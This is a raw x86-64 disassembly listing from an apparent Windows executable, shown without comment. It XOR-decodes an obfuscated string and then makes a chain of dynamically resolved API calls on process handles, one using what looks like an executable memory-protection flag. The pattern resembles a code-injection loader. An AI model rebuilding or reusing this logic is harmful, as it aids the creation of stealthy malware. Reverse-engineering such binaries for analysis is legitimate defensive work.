je 0x14000983e
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0x32c0], rdx
mov qword [rbp + 0x32b8], rax
mov dword [rbp + 0x32b4], 0
jmp 0x140009834
mov eax, dword [rbp + 0x32b4]
movsxd rdx, eax
mov rax, qword [rbp + 0x32b8]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x32b4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x32c0]
mov eax, dword [rbp + 0x32b4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x32b4], 1
cmp dword [rbp + 0x32b4], 0x13
jle 0x1400097d6
nop
lea rax, [rbp + 0x80]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x32b0], 0
jmp 0x14000987a
mov eax, dword [rbp + 0x32b0]
cdqe
mov byte [rbp + rax + 0x80], 0
add dword [rbp + 0x32b0], 1
cmp dword [rbp + 0x32b0], 0x13
jle 0x140009863
nop
mov rax, qword [0x1402b5268]
mov qword [rbp + 0x68], rax
mov r10, qword [0x1402e6048]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x33e8]
lea rcx, [rbp + 0x7c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x14000996a
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x304f]
mov rcx, rax
call fcn.140002d4e
mov rax, qword [rbp + 0x3050]
mov rdx, qword [rbp + 0x3058]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3060]
mov rdx, qword [rbp + 0x3068]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3070]
mov rdx, qword [rbp + 0x3078]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x308d]
mov qword [rbp - 3], rax
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001ff30
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x30a0]
lea rdx, [rbp + 0x309f]
mov rcx, rax
call fcn.140002f88
mov rax, qword [rbp + 0x30a0]
mov rdx, qword [rbp + 0x30a8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x30b0]
mov rdx, qword [rbp + 0x30b8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x30c0]
mov rdx, qword [rbp + 0x30c8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30d8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x30df]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140020020
mov r10, qword [0x1402e6040]
mov r9, qword [0x1402b5268]
mov r8, qword [0x1402e6030]
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x33e8]
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x140009ad9
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x30ef]
mov rcx, rax
call fcn.1400031d2
mov rax, qword [rbp + 0x30f0]
mov rdx, qword [rbp + 0x30f8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3100]
mov rdx, qword [rbp + 0x3108]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3110]
mov rdx, qword [rbp + 0x3118]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3120]
mov rdx, qword [rbp + 0x3128]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x312b]
mov rdx, qword [rbp + 0x3133]
mov qword [rbp - 5], rax
mov qword [rbp + 3], rdx
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400202d0
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x3140]
lea rdx, [rbp + 0x313f]
mov rcx, rax
call fcn.14000343c
mov rax, qword [rbp + 0x3140]
mov rdx, qword [rbp + 0x3148]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3150]
mov rdx, qword [rbp + 0x3158]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3160]
mov rdx, qword [rbp + 0x3168]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3170]
mov rdx, qword [rbp + 0x3178]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x317d]
mov rdx, qword [rbp + 0x3185]
mov qword [rbp - 3], rax
mov qword [rbp + 5], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400203c0
mov r10, qword [0x1402e6048]
mov r9d, dword [rbp + 0x7c]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x33e8]
lea rcx, [rbp + 0x30c]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x140009c45
lea rax, [rbp + 0x3190]
lea rdx, [rbp + 0x318f]
mov rcx, rax
call fcn.1400036b6
mov rax, qword [rbp + 0x3190]
mov rdx, qword [rbp + 0x3198]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x31a0]
mov rdx, qword [rbp + 0x31a8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x31b0]
mov rdx, qword [rbp + 0x31b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x31c0]
mov rdx, qword [rbp + 0x31c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x31d0]
mov qword [rbp], rax
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140020100
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x31df]
mov rcx, rax
call fcn.140003908
mov rax, qword [rbp + 0x31e0]
mov rdx, qword [rbp + 0x31e8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x31f0]
mov rdx, qword [rbp + 0x31f8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x3208]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3210]
mov rdx, qword [rbp + 0x3218]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x321a]
mov rdx, qword [rbp + 0x3222]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400201f0
mov r8, qword [0x1402e6058]
lea rdx, [rbp + 0x30c]
mov rax, qword [rbp + 0x33e0]
mov rcx, rax
call r8
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x140009d86
lea rax, [rbp + 0x3230]
lea rdx, [rbp + 0x322f]
mov rcx, rax
call fcn.140003b6a
mov rax, qword [rbp + 0x3230]
mov rdx, qword [rbp + 0x3238]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3240]
mov rdx, qword [rbp + 0x3248]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3250]
mov rdx, qword [rbp + 0x3258]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x3260]
mov byte [rbp - 0x10], al
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001faa0
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x3270]
lea rdx, [rbp + 0x326f]
mov rcx, rax
call fcn.140003d04
mov rax, qword [rbp + 0x3270]
mov rdx, qword [rbp + 0x3278]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3280]
mov rdx, qword [rbp + 0x3288]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3290]
mov rdx, qword [rbp + 0x3298]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x32a0]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f9c0
mov rdx, qword [0x1402e6078]
mov rax, qword [rbp + 0x33e8]
mov rcx, rax
call rdx
mov rdx, qword [0x1402e6078]
mov rax, qword [rbp + 0x33e0]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5b0
cmp esi, 1
jne 0x140009e38
mov ebx, 0
mov eax, ebx
jmp 0x14000b759
add rsp, 0x3570
pop rbx
pop rsi
pop rbp
ret